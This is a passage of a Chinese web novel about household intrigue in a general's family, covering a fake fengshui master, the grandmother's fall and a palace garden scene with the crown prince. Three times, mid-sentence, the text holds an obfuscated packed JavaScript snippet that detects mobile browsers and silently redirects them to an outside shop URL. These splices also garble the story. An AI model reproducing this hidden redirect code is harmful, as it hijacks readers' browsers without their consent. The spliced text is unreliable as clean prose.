“什么？”周姨娘猛地将茶盏顿在桌上，茶水溅出些许。她一把推开身旁丫鬟递来的锦盒，锦盒“哐当”一声落地，暗红的药丸滚落一地，在青砖上滚出几道浅浅的痕迹。 她脸色瞬间铁青，咬牙切齿道：“好个宋韫！竟想用这等污秽之物羞辱我！” “不仅如此。”杏儿趁热打铁道，声音里带着几分刻意的慌张，“奴婢还偷听到，大小姐已吩咐锁秋，要在府中暗中散播你祭祀时冲撞了先祖的流言，想让你被流言所困，不得不请风水先生来府中作法。到时候，她便要借先生之口，说你是祸乱府宅的根源，好将你彻底扳倒！” 周姨娘霍然起身，在堂内踱了几步，眸色沉沉地看向杏儿，“此话当真？” 杏儿重重点头，语气无比笃定：“奴婢以性命担保，绝无半句虚言！” 周姨娘挥了挥手，示意她退下。 待杏儿离去，她望着地上散落的药丸，眼底闪过一丝阴鸷。她倒没想到，宋韫这丫头，竟有这般深沉的心机。 “姨娘，”梨画上前一步，忧心忡忡道，“大小姐这般处心积虑，咱们该如何应对？” 周姨娘思忖片刻，忽然扯出一抹森冷的笑意，眼底满是算计，“她想借刀杀人，那我便成全她，索性来一招将计就计！” 说罢，她俯身附在梨画耳边，低声密谋起来，字字句句都透着阴狠。 梨画听完周姨娘的低语，瞳孔骤缩，随即躬身应道：“奴婢明白，这就去安排！” 40. 上钩 几日后，府中忽然传开消息，说周姨娘近来时常失眠多梦，夜里总说梦话，甚至偶尔会对着空气喃喃自语，像是中了邪一般。汀竹听到消息时，正在院中修剪花枝，闻言唇角勾起一抹不易察觉的弧度。 倒真上钩了。 这几日，她让锁秋暗中在西厢院附近散播流言，说祭祀那日周姨娘准备的供品先祖不喜，便掉落在地，先祖怪罪下来，才让周姨娘心绪不宁。府中本就迷信，加之周姨娘信了杏儿的传话必会将计就计，流言就会让其愈演愈烈，最终传入了宋将军耳朵。 “姨娘，老爷来了。”梨画轻叩门扉说道。 周姨娘闻言，立刻将发鬓打撒，发丝凌乱垂落肩头，低声吩咐，“按我先前说的做。” 梨画“嗯”了一声，便转身快步迎至西厢院大门口，正巧撞见处理完军务赶来的宋将军。 “老爷安。”梨画仓促行礼，话语吞吞吐吐。“老爷，姨娘她……” “她怎了？”宋将军见她欲言又止，眉头微蹙，便挥袖径直朝里院走了去。刚迈步进去，便见周姨娘披头散发地坐在地上，嘴里念念有词，“先祖饶命……饶命啊……” 宋将军脸色一沉，厉声喝道：“你在做什么？” 周姨娘被他的声音惊醒，抬头见是宋将军，连忙爬起来，扑到他脚边哭诉，“老爷，妾身怕是中邪了！这些日子，夜夜都梦见先祖前来问罪，说妾身祭祀时心存不敬，要取妾身的性命！老爷，你可一定要救救妾身啊！” 宋将军皱着眉头，看着她疯疯癫癫的模样，心中愈发烦躁。他本就因祭祀那日的事对周姨娘心存不满，如今见她这般，更是没了耐心，“休要胡言乱语！什么中邪不中邪的，定是你近日心思太重，才会胡思乱想！” “不是的将军！”周姨娘哭得梨花带雨，“府里的人都在说，是祭祀那日供品落地冲撞了先祖，先祖才怪罪我的！将军，你快请个风水先生来瞧瞧吧，不然我怕是活不成了！” 宋将军沉吟片刻，他本不信这些鬼神之说，可府中流言四起，若不妥善处理，怕是会影响府中安宁。当下便点头道：“也罢，便请个风水先生来看看吧。” 消息传到汀竹耳中时，她刚下了崇文轩到了府中。这些日子，皆是胡舟一直暗中为她传递消息。 “大小姐，将军已经派人去请风水先生了。”胡舟低声道，“老夫人知晓了你要做的事，她让我转告你，万事小心，莫要引火烧身。” “我知道了。”汀竹点了点头，眼底闪烁着精光，“风水先生一来，这场戏，便该到高潮了。” 她早已暗中安排妥当，那被请来的风水先生，正是她通过胡舟联系的人。这先生不仅精通堪舆之术，更擅长装神弄鬼，最是懂得如何拿捏人心 几日后，风水先生如期而至。他身着道袍，手持罗盘，在府中四处游走，最后停在了西厢院门前，面色凝重地摇了摇头：“将军，不妙啊！这西厢院的气场紊乱，怨气冲天，怕是真的冲撞了神灵，若不及时化解，不仅这位夫人性命难保，恐怕还会连累整个将军府！” 周姨娘闻言，吓得脸色惨白，连忙拉住风水先生的衣袖：“先生，求您救救我！无论花多少钱，我都愿意！” 风水先生故作沉吟，半晌才道：“要化解此劫，需得找到冲撞神灵的根源。依我看，那日祭祀落地的供品只是引子，真正的根源，怕是在府中某位贵人身上。” 他目光扫过在场众人，最后落在汀竹身上，眼神微变：“这位小姐……” 汀竹心中一动，面上却依旧平静无波，淡淡道：“先生有话不妨直说。” 风水先生掐指一算，忽然脸色大变，对着宋将军躬身道：“将军，这位小姐命格尊贵，本是有福之人，可她身上却带着一股极重的阴煞之气，正是这股煞气冲撞了先祖，才让侧夫人遭此横祸！” 此言一出，满院哗然。周姨娘更是喜出望外，连忙道：“将军你听！妾身就说不是妾身的错！都是宋韫！是她冲撞了先祖！” 宋将军脸色愈发沉凝，目光在汀竹与风水先生之间来回逡巡，语气带着几分不易察觉到审视，“先生此话当真？清禾自小在府中长大，命格如何，府中上下有目共睹，怎会突然生出阴煞之气？” “父亲！”宋婉立刻上前一步，声音尖利，“姐姐自坠崖以来行事本就诡异，先是祭祀时供品掉落怪罪鹿仁，如今又送些污秽药丸羞辱姨娘，说不定正是她身上的煞气作祟！先生乃得道高人，所言岂能有假？” 周姨娘连忙点头附和，泪水再次涌了上来，哽咽道：“老爷，妾身素来安分守己，若不是宋韫煞气冲撞，先祖怎会单单怪罪于我？求老爷为妾身做主啊！” 就在这时，一直沉默的宋夫人缓缓走上前，她身着素色锦裙，气质温婉却带着与生自来的端庄威严，“老爷。” 她目光看向风水先生，语气平静却锐利，“先生既懂堪舆命理，想必也知晓‘相由心生’。清禾自小在我身边长大，性情温婉，孝顺懂事，近日虽遇些波折，却始终手里自持，何来阴煞之气？倒是周姨娘，” 风水先生脸色微变，强自镇定道：“夫人此言差矣！老道观气识人，绝无半分虚假。这位小姐身上的阴煞之气虽隐于内，但确实与侧夫人所遇之劫息息相关，若不及时处置，后患无穷！” “哦？”宋夫人唇角勾起一抹淡淡的嘲讽，“那依先生之见，该如何处置清禾？是将她赶出府去，还是任你作法驱煞？” “自然是要将她送往城郊静心庵，闭门祈福三年，待煞气散尽，方可回府。”风水先生脱口而出，显然早已备好说辞。 宋婉立刻拍手叫好，“嫡母，这法子甚好！既能化解灾祸，又能保全姐姐性命，父亲快些应允吧！” 汀竹始终静立一旁，直到此刻才缓缓开口，声音清冽如泉，带着穿透人心的力量，“先生说我身上有阴煞之气，可有凭证？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861110|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 风水先生一愣，随即道：“老道的罗盘与观气之术，便是凭证！” “荒谬！”汀竹上前一步，目光直视风水先生，“先生方才在西厢院门前说气场紊乱、怨气冲天，如今又说我是根源，敢问这怨气与阴煞之气，究竟有何关联？” 周姨娘见势不妙，连忙拉着风水先生的衣袖，“先生，你可不能改口啊！方才你明明说的是她，如今怎能被她三言两语糊弄过去？” 风水先生额头渗出冷汗，正欲再辩，却见宋夫人突然道：“老爷，依我之见，此事疑点重重。不如让先生当场作法，若真能测出清禾身上有阴煞，再做处置不迟；若测不出，便是先生欺瞒在先，意图挑拨离间，按家规处置！” 这话正说到宋将军心坎里，他当即点头，“便依夫人所言。先生，你且作法一试。” 风水先生脸色煞白，他本就是汀竹暗中安排之人，方才故意指认汀竹，不过是按原计划演戏，想引周姨娘露出更多破绽，却没想到宋夫人会突然发难，还要当场验证。他定了定神，只能硬着头皮拿起罗盘，口中念念有词。 罗盘指针胡乱转动，始终无法稳定，风水先生额上的冷汗越来越多，支支吾吾道：“这……这阴煞之气过于狡猾，竟能暂时隐匿……” “够了！”宋将军厉声打断他，“分明是你信口雌黄！来人，将这招摇撞骗的江湖术士拖下去，重打二十大板，赶出京城！” 侍卫应声上前，拖着风水先生便往外走，那人嘴里还在兀自喊着“将军饶命”，声音渐渐远去。 周姨娘脸色瞬间变得惨白如纸，瘫软在地，宋婉也吓得不敢作声。 宋将军看向周姨娘，眼神冰冷，“你可知罪？” 周姨娘连忙爬起来磕头，哭道：“老爷饶命！妾身也是被这江湖术士蒙蔽，一时糊涂才犯下大错，求老爷再给妾身一次机会！” 就在这时，一名侍从匆匆跑了进来，神色慌张，“将军，夫人，不好了！方才老夫人身边的胡嬷嬷在家庙内大喊，说是老夫人下石梯时，不慎踩空摔了一跤，如今已是不醒人事了！” 宋将军脸色一变，脚下踉跄半步，厉声吩咐，“快！叫大夫！去家庙后院！”话音未落，人已大步流星往家庙放向冲了过去。周姨娘与宋婉闻声对视一眼，皆面露惊色，且这惊色之中夹杂些意外之喜的神色，随即便紧跟着宋将军身后也去了家庙后院。 宋夫人面色凝重，身边的梓溪连忙搀扶着紧随其后，临行前回头看了汀竹一眼，眼神里带着几分安抚。 汀竹颔首示意，心中却掀起惊涛。方才胡舟传话时，宋老夫人还安好，怎会突然摔倒？此事未免太过蹊跷，偏巧赶在周姨娘阴谋败露之际。 “小姐，我们也过去看看？”锁秋扶住汀竹的手臂，声音里带着担忧。 汀竹颔首，睫羽轻垂掩去眸底的一丝耐人寻味的笑意，语气淡然道：“走，瞧瞧祖母这又是要唱哪出戏。” 41. 公道 家庙后院的青石板被夜雨浸得湿滑，远远便听见胡嬷嬷撕心裂肺的哭喊，在寂静的庭院里格外刺耳。 汀竹与锁秋刚跨过朱红门槛，便见宋将军正半跪在石梯下，正欲将老夫人拦腰抱起。 “父亲不可！”汀竹失声惊呼，话音未落，院中众人皆循声回头。尤其是宋将军本就紧绷的脸瞬间青得发黑。 未看清之前还以为只是她装的晕倒，可方才她瞧到宋老夫人的面色苍白应是真摔倒了，这才出声制止避免发生不必要的麻烦。 汀竹这才快步上前，向宋将军解释道：“父亲，女儿曾在一本医书中见载，伤者倒地切不可随意搬动，尤其是祖母年事已高，贸然挪动恐加重伤情，需等大夫诊治后再作处置。” “大夫何在？”宋将军嗓音焦灼沙哑，指腹探向老夫人鼻息时，指尖都在微微发颤，“派人去请的大夫，怎还未到？” 话音刚落，府中大夫已携带着药箱急匆匆奔入。一把扑到了宋老夫人跟前先查看了磕碰之处。见仅破了层皮，并无血渍渗出，随即俯身凝神诊脉。 “快！来人，将老夫人轻抬入内！切记动作要缓而稳，不可颠簸！！” 到了屋内床榻之后，大夫便扎针起落片刻，取下针后又把了把脉，这才拭去额头前的虚汗才对宋将军道：“老爷，万幸未曾移动老夫人！方才脉象紊乱，若稍动分毫，老夫人怕是真有性命之忧。” 听大夫这话，周姨娘便开口，语气带着几分诧异：“没想到大小姐竟还通晓医术。” 汀竹垂首，语气略显谦和之态，“母亲素来体弱多病，清禾便常翻览医书，学着做些药膳粥为母亲调养身子。偶然见书中记载‘老者摔倒勿轻动，恐伤筋骨损脏腑’，今日恰巧记起，才敢贸然出声。” 宋将军闻言，紧绷的下颌线稍缓，颔首道：“难为你一片孝心，竟将医术钻研得如此透彻。” “照料母亲本是女儿分内之事。”汀竹轻声应道。 一旁的宋婉却扯着嘴角，语气阴阳怪气着，“姐姐真是好生厉害，若不是你及时出声阻拦，祖母今日怕是凶多极少，姐姐这是立了大功呢。” 汀竹闻言未接话，连个眼神也未曾给过她。倒是锁秋在旁听得不悦，刚要开口辩解一二，却被汀竹用眼神制止。 宋婉这话听着是夸赞，实则暗指她方才贸然出声是邀功，若宋老夫人真有不测，便说她多管闲事。 屋内气氛一时有些凝滞，雨丝敲打着窗棂，平添几分压抑。胡嬷嬷端着温水进来，见此情景连忙对宋将军跪地道：“老爷，这家庙后院清苦，奴婢年纪大了，又只有一人照料，怕是照顾不周。再者老夫人如今这般情况，留在此地，怕是......” 宋将军听了这话，眉头拧成了“川”字，显然在权衡。宋夫人适时开口道：“老爷，胡嬷嬷所言极是。母亲年事已高，又受了伤，家庙后院条件简陋，不利于休养。” 话音刚落，周姨娘已急声道：“老爷不妥啊！先前风水大师说，老夫人撞了邪祟这才疯癫，怕扰乱府中祥和，这才将她送来家庙后院。如今若是搬离回去，万一病愈再犯疯癫，岂不是......”她话锋一转，“妾身觉得，不如多派些下人过来照料，再让大夫每日登门诊治，既稳妥又不冲撞运势。” “风水大师？”宋将军猛地想起方才那被拆穿的假先生，脸色瞬间黑沉如墨，锐利的目光直刺周姨娘，“方才那骗子之事，本将还未找你算账，你倒还敢提什么大师？” 周姨娘一听，“噗通”跪地，脸色顿时惨白如纸，连连叩首，“老爷息怒，妾身一时失言，只是心系府中祥和，绝无他意，还望老爷恕罪......” 未等她说完，汀竹抬眸，这才从宋将军的话头中提了一句，“父亲，这般想来，方才那风水先生是假，数年前说祖母疯癫会坏了府运的那位‘大师’，怕是也未必句句属实。” 宋婉见状，连忙上前扶住周姨娘，对汀竹道：“姐姐休要妄言！姨娘也是听信了大师的话，一心为府中着想，怎容你这般质疑？” 汀竹掀起眼帘，眸光清亮，直直对上宋婉的双眼。她面上瞧着依旧沉静，可那与生俱来的气场半点不弱，字句清晰道：“妹妹这话言重了。清禾并非质疑姨娘的心意，只是觉得，所谓‘冲撞祥和’本就虚无缥缈。” “祖母这些年在家庙，疯癫之症未曾好转，反倒日渐清瘦也，身边仅只有嬷嬷一人照料。若真是如大师所言，邪祟缠身、败坏府运，祖母怕是早已熬不到今日，身骨怕不都已化作翰林枯骨了。” 她话音不高，却如算盘捻珠，字字掷地有声。落在众人耳中，竟让人无从反驳。宋将军眉头皱得更紧，看向周姨娘的目光愈发沉凝。 周姨娘跪在地上，浑身发颤，死死咬着唇瓣，一时竟想不出辩驳之词。脑中只剩满心诧异，从前那个沉默寡言的宋韫，何时变得这般伶牙俐齿，字字诛心？眼前这人，竟像是换了副魂魄。 她当真是小瞧了这丫头！ 宋婉急得眼眶发红，拉着周姨娘的衣袖，转向宋将军哀求道：“父亲，姐姐分明是在挑拨离间！姨娘对祖母向来敬重，当年那般行事，全是为了府中上下的安危啊！” “够了！”宋将军猛地沉喝一声，语气中满是不耐与怒意，屋中瞬间陷入一片死寂。 宋夫人见状，连忙上前半步，柔声劝道：“老爷，母亲再怎么说也是宋家长辈，如今落得这般境地，我们做晚背的岂能坐视不管？家庙条件有限，万一再有个闪失，我们如何对得起列祖列宗？” 胡嬷嬷也连连叩首，“老爷，求您发发慈悲让老夫人住回静心苑吧！奴婢必定会片刻不离老夫人，看紧老夫人，绝不敢有半分懈怠！” 雨声渐密，屋内的争论被雨势衬得愈发焦灼。宋将军沉默良久，终于重重长叹一气，沉声道：“罢了！便依夫人所言将母亲接回静心苑，再多派几人伺候，大夫每日上门诊治！” “老爷！”周姨娘猛地抬头，眼中满是惊慌。 宋将军冷冷瞥了她一眼，“此事不必再议。当年的事，本将自会查明。若真有人从中作梗，误导于我，休怪本将不念情面！” 这话如同惊雷，炸得周姨娘脸上比方才还要惨白几分，瘫坐在地上，再也说不出一个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865874|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋婉见状，也不敢再替周姨娘辩解，只是死死攥紧了拳头，恶狠狠地瞪着汀竹一眼。 她怎么也没想到，宋韫不过几句话，竟真让父亲改变了主意，还隐隐有了追究当年之事的年头。虽说当年之事她不知全貌，但多半是娘的手笔。 汀竹对此恍若未觉，只是走到床榻边，轻轻握住了宋老夫人枯瘦的手。宋老夫人仍在昏睡，眉头紧蹙，脸色依旧苍白，可呼吸已比方才平稳了许多。她心中微动，低头在宋老夫人耳边轻声道：“祖母，我们回院了。” 窗外的雨还在下，可屋内的凝滞之气，却已悄然散去。宋将军看着床榻上的老母亲，又看了看床塌边握着老母亲手的汀竹，眼神极度复杂。 而跪在地上的周姨娘，望着汀竹的背影，眼底则是怨毒还参杂着一丝慌乱。她知道，老夫人这一出家庙，有些被掩盖多年的秘密，恐怕再也藏不住了。 雨势渐歇时，宋将军便叫来了下人抬了一张软榻，汀竹亲自扶着软榻边缘，看着下人小心翼翼将老夫人往静心苑方向抬去，宋夫人便唤梓盼在旁打伞，伞沿始终倾斜着护住榻角，不让半点雨丝溅湿宋老夫人的衣袍。 宋将军与宋夫人先行一步回苑安排处理，汀竹与宋婉则是并肩走在后边。宋婉偏着脑袋鼓着腮帮子看着一边，显然仍在气头上。周姨娘则是自愿回西厢院每日为宋老夫人祈福。 “宋韫你倒是好本事。”宋婉忽然开口，咬牙切齿道，“三言两语便让父亲改变主意，还让姨娘，如今可是愈发能耐了。” 汀竹缓步走着，眼睛直视着前方的道路，语气淡淡道：“妹妹说笑了。我只是做了分内之事，祖母本就该回苑静养。”她顿了顿，抬眸看向宋婉，眸光平静无波，“至于姨娘，若当年之事当真清白，父亲查明后自会还她公道；若不然，便是天网恢恢，疏而不漏。” 宋婉被噎得说不出话，狠狠瞪了她一眼，索性不再开口。 到了静心苑。 院内早已打扫干净，暖炉燃得正旺，空气中弥漫着淡淡的艾草香气。 下人们轻手轻脚将老夫人安置在床上，大夫赶到时，又仔细诊视了一番，嘱咐道：“老夫人暂无大碍，只是后脑伤着晕了过去，加上夜里寒凉又有着了些风寒，好生静养半月便会好转。切记不可再让她摔了。” 胡嬷嬷将大夫的叮嘱一一记在心上，不敢有半分疏漏。宋将军沉声吩咐下人按方煎药，务必精细妥帖；宋夫人亲自上前，轻轻为宋老夫人掖好被角，动作轻柔得生怕惊扰了她的浅眠。 诸事安排妥当，一行人这才陆续散去，汀竹与锁秋回了暖居阁。 刚跨进房门，锁秋便压低声音，满眼敬佩道：“小姐今日真是厉害！那周姨娘与二小姐，竟被你说得哑口无言，连半句辩驳的话都寻不出来。” 汀竹抬眸望着窗外墨色夜空，月色隐在云后，却似能穿透沉沉夜幕。她指尖悄然收紧，眸底掠过一抹如寒星般的坚定，轻声道：“不过是积压多年的公道，也该替宋韫讨回来了。” 窗外雨痕渐干，晚风拂过廊下挂着的铜铃，叮当作响，恰似在低语着一场新的开端。 42. 骑射 今日晴光正好，崇文轩外的木芙蓉开得烂漫，粉白花朵为轩内添加了别样的景色。方还萦绕轩内的朗朗读书声，随着女官一声“下课”，渐渐消散在微风里，只余几声清脆的笑语。 汀竹今日才知晓，昭宁公主与安乐公主原是要与她们一同课业的。前几日二位公主未曾来上课，原是娴妃抱恙，陛下特许她们在宫中侍疾。 而那次昭宁公主突然来试探，多半是顺路过来。如今娴妃病愈，两位金枝玉叶便如期来崇文轩赴课了。 安乐公主年方七岁，正是玩性最盛的年纪，早已耐不住案前枯燥。 她倚着朱红廊柱，指尖轻捻一朵飘落的木芙蓉，花瓣的柔润蹭得指尖发痒，便转头对着身侧的昭宁公主笑道：“皇姐你瞧，这木芙蓉开得多好，清香袭人。不如趁这晴好天气，邀轩中姐姐们同去御花园比试过家家，姐姐你说好不好？” 昭宁公主素来疼宠这个幼妹，又知她素来不耐笔墨功课，此刻见她眼里满是期盼，便柔声道：“也罢，难得天朗气清，那就依你便是。”说罢转头吩咐身旁宫人，“去回禀父皇，就说本宫与昭宁姐妹欲邀崇文轩贵女们同游御花园，望父皇恩准。” 宫人领命而去，不过半盏茶的功夫便折返回话，言陛下已然应允。众贵女闻言皆是喜上眉梢，遂簇拥着两位公主，踏着花香，一同往御花园行去。 御花园里暖阳正好，花香四溢，假山旁的空地上铺了层柔软的青毡，成了比试的天然场地。齐湘玉，见众人围拢过来，便向安乐公主提议着，“殿下，既是比试过家家，总得有章程。不如就扮作寻常人家迎客，谁演得最像，便算赢如何？” 李娇璃瞧了眼身侧的宋婉以及姜云，立刻附和，“殿下，臣女到觉得湘玉姐姐说得是！咱们几人来扮主人家，宋姐姐就与家妹便作远道而来的客人，如何？” 她眼神扫过汀竹，带着几分不易察觉的挑衅。汀竹虽出身将门世家，却性子沉静，不擅这般热闹的戏码，正是刁难的好机会。 “好啊好啊。”安乐公主拍手叫好。 宋婉已快手快脚地寻来几片大的绿叶当作茶盏，姜云则捡起落在地上的红叶，权作待客的点心。齐湘玉叉着腰站在毡上，摆出主人的架势，待汀竹与李芷瑶走上前，便故意沉下脸，“既是客人，怎的不懂规矩？进门不请安，空手而来，是瞧不上我这‘家’么？” 李芷瑶性子软，被这般质问一时不知如何开口，汀竹则是轻轻拉着她的手，已似安慰。随后汀竹屈膝行了一礼，声音温和却不卑不亢，“仓促前来，未备薄礼是我们失礼。但待客之道，贵在以诚，姐姐这般疾言厉色，倒不像待客，更像问罪了。” “你倒会强词夺理！”姜云上前一步，将手中的红叶往地上一扔，“连点心意都没有，还敢妄谈诚意？今日若不学着市井妇人的模样，给我们磕个头赔罪，便算你们输！” 安乐公主看得兴起，拍手道：“磕个头而已，姐姐快些嘛！”昭宁公主眉头微蹙，却未出言阻止。她虽疼惜幼妹，却也想看看这些贵女的应变，更想瞧瞧宋韫究竟有几分定力。 李芷瑶被这话说面色微白，她知她们是明摆着想刁难她与宋家姐姐。却依旧挺直脊背，正欲开口为其辩解，忽闻身后传来一道清越的男声，“不过是玩闹罢了，何必强人所难？” 众人回头，只见太子身着月白锦袍，腰束玉带，正缓步走来。他身姿挺拔，眉目温润，身后跟着几位侍从，秋阳落在他发梢，镀上一层柔光。贵女们连忙敛衽行礼，齐湘玉几人脸上的嚣张顿时敛去，讪讪地垂下头。 太子目光掠过汀竹，见她面色平淡不屈，反倒她身侧的女子面色苍白，二人形成鲜明对比，眼中不禁对汀竹多了几分探究，转而对安乐公主笑道：“皇妹素来乖巧，怎的今日也跟着起哄？过家家原是图个乐呵，若逼得人难堪，反倒失了趣味。” 安乐公主吐了吐舌头，拉着昭宁公主的衣袖撒娇：“太子哥哥，我只是觉得好玩嘛。” 昭宁公主亦上前见礼，柔声道：“太子哥哥说得是，是我们考虑不周了。”转而又问，“太子哥哥今日怎的有空来御花园？莫不是也被这好景致吸引了？” 太子目光扫过满园秋色，便道：“刚从御书房出来，听闻皇妹们在此与贵女们游玩，便过来瞧瞧。”他抬手示意宫人，“取些真正的茶点来，既是迎客，总该有几分诚意才是。” 宫人领命而去，片刻后便端来精致的漆盘，里面盛着桂花糕、杏仁酥，还有温热的雨前龙井，一一摆放在青毡旁的石桌上。 齐湘玉几人见状，脸上更是讪讪，却又不敢多言。安乐公主早已被桌上的点心吸引，拉着昭宁公主的衣袖便要去尝，哪里还顾得上方才的比试。 昭宁公主无奈地摇了摇头，任由幼妹拉着走向石桌，指尖却若有似无地扫过鬓边的珍珠流苏，目光掠过汀竹时，多了几分不易察觉的审视。太子缓步走到石桌旁坐下，抬手示意众贵女，“都坐吧，不必拘谨。” 汀竹扶着仍有些局促的李芷瑶在角落坐下，手指堪堪触到微凉的石面，便见太子身旁的侍从端来两盏热茶，轻声道：“宋大小姐，李二小姐殿下吩咐给二位递茶。”汀竹颔首道谢，接过茶盏时指尖微抬，瞥见太子正望着自己，目光温和却带着探究，她从容垂眸，浅啜了一口雨前龙井，茶香清冽，压下了方才的些许滞涩。 “宋小姐方才所言‘待客以诚’倒是颇有见地。”太子忽然开口，声音清润如玉石相击，“寻常贵女多拘于礼仪表象，姑娘却能直击本质，倒是难得。” 汀竹放下茶盏，敛衽起身回话，“殿下谬赞。不过是随口之言，登不得大雅之堂。玩闹本应各得其乐，何必以势压人，失了分寸。”她语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870015|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气平静，既无邀功之态，也无怯懦之姿，眉眼间的沉静如同深潭，不起半分波澜。 宋婉坐在不远处，听着太子对汀竹的赞许，手指甲暗暗掐进掌心，眼中无疑似在冒火一般。 而齐湘玉方才被太子当众点破刁难，本就心有不甘，如今见反倒助长了汀竹更得太子青眼，心中甚是妒火中烧，却只能强装镇定地拈起一块桂花糕，味同嚼蜡。 姜云与李娇璃对视一眼，皆从对方眼中看到了不甘，却碍于太子在场，不敢再有半分逾矩。 安乐公主吃得兴起，腮帮子鼓鼓的，忽然指着假山后一簇开得正盛的红菊道：“太子哥哥，你瞧那花儿多好看！不如我们去折几枝插瓶？”说着便要起身，却被昭宁公主拉住，“仔细脚下，莫要摔着。” 太子闻言笑道：“皇妹若是喜欢，让宫人去折便是，何必亲自跑一趟。”他转头吩咐侍从去折红菊，目光却再次落在汀竹身上，“听闻宋将军近日训练骑兵颇有成效，宋小姐出身将门，想必也懂些骑射？” 汀竹闻言，满城皆知宋韫虽为宋将军嫡女，却自幼深居闺阁，性子柔弱，堪称手无缚鸡之力。太子这般询问显而意见是试探。 太子这般明知故问，显然是有意试探。可他为何要试探自己？是单纯好奇，还是另有深意？ 她正欲开口，身侧的宋婉已抢先起身，语气带着几分刻意的维护，实则暗藏讥讽，“殿下有所不知，姐姐虽是出生将军府，却素来性子温婉，久居深闺，哪里懂什么骑射？倒是臣女，先前缠着家父教过些许防身之术，骑射一道，略懂皮毛罢了。”说罢，她抬眸望向太子，眼底带着几分邀功的希冀。 太子闻言，目光掠过宋婉眼底的邀功之色，唇边笑意未改，却未多作回应，转而看向汀竹，语气温和却暗藏机锋，“既如此，倒巧了。父皇已下旨下月底开启冬狩，于京郊围场驻跸半月。宋将军乃此次围猎副使，宋小姐何不趁此机会，随父习些骑射防身？” 紧接着，他清润的声音又漫开，“冬狩非比寻常嬉猎，既能观将士演武，亦能历练胆识。宋小姐若愿前往，孤可令太仆寺拨一匹温顺良驹予你。” 汀竹来不及思考其中蕴含，便先敛衽欠身，语气依旧沉静，“殿下厚爱，臣女谨记。能否前往，还需归家禀明父亲。” “理应如此。”太子颔首，目光在她沉静的眉眼间稍作停留，那探究之意淡了些许，多了几分了然，“时辰不早，孤还有政事需处置，先行告辞。” 说罢，他起身整理了一下月白锦袍的衣摆，御前侍从即刻上前躬身引路。太子步履从容，途经宋婉身侧时，只淡淡瞥了一眼，并未停留。宋婉脸上的邀功之色明显僵住，手指暗暗攥得更紧。 昭宁公主与安乐公主连忙起身行礼，其余贵女亦纷纷敛衽相送，太子的身影消失在园门处，只留下满庭寂静。 43. 哑巴 静心苑内，药香与艾草的气息缠绕弥漫。 大夫捻起最后一枚银针，轻轻自宋老夫人肘间穴取下，银针映着帘间漏进的光亮，泛着微白的光泽。恰在此时，宋老夫人眼睫微颤，正欲缓缓睁开眼，眸光虽尚带倦涩，却已然不复先前昏沉。 “速速去禀明老爷与夫人，老夫人醒了!”大夫按住心头喜意，沉声吩咐身侧侍立的丫鬟。那丫鬟不敢耽搁，提着裙摆便往门外疾步而去，正撞上进门来探看的锁秋。 未过半盏茶的功夫，宋将军与宋夫人闻声赶至此处，衣摆带风，神色皆是难掩的焦灼。周姨娘本想也过来瞧瞧，只因先前应下为老老夫人祈福的惩戒，不便擅自离院，便早早遣心腹梨画前来，暗中打探消息。 宋夫人一脚踏入内室，见老夫人倚在软塌上，快步上前握住她的手，声音带着难掩的哽咽，“母亲，你可算是醒了！昨日可把我们急坏了。” 宋将军立于一旁，素来刚毅的眉眼间也染上了柔和之色，沉声道：“母亲身子刚想，切勿多言，好生静养。” 老夫人缓缓颔首，目光扫过众人，最终落在宋夫人略显憔悴的面容上，虚弱的拍了拍她的手背，“让你们挂心了。”话音刚落，便轻轻咳嗽了两声。 大夫连忙上前诊脉，片刻后道：“老夫人脉象平稳，只是气血亏虚，还需要慢慢调理。眼下可以喂些温凉的参汤，切记不可进补过急。” 宋夫人连忙吩咐丫鬟去备参汤，转身又柔声细语的问老夫人身子感觉如何？可有什么不舒服的。 老夫人闻言，只是摇了摇头。 宋将军瞧着母亲眼神明清，全然不似先前那般疯癫之态，便问大夫，“母亲此番醒来，神智已然清明，可是尽数好了？” 大夫躬身回道：“回老爷，想来应是这一摔倒磕到了脑袋，恰巧震散了郁结之气，竟就这般摔好了。也是老夫人福泽深厚。” 而在外间廊下，梨画正踮着脚向内张望，见宋将军夫妇神色缓和，便悄悄退至院内门口，快步去了西厢院方向。 “姨娘，老夫人醒了！”梨画一进西厢院便向周姨娘低声禀报，“老爷与夫人都在内室守着，大夫说脉象平稳，只需温凉参汤缓补。方才听着老夫人说话，也并未说什么胡话，神智瞧着是清明的。”梨画将方才所看一五一十跟姨娘所说。 周姨娘端着茶杯的手紧猛地收紧，眼底掠过了一丝阴鸷，低声碎道：“这老不死的东西，倒是命硬，醒得倒是快。” 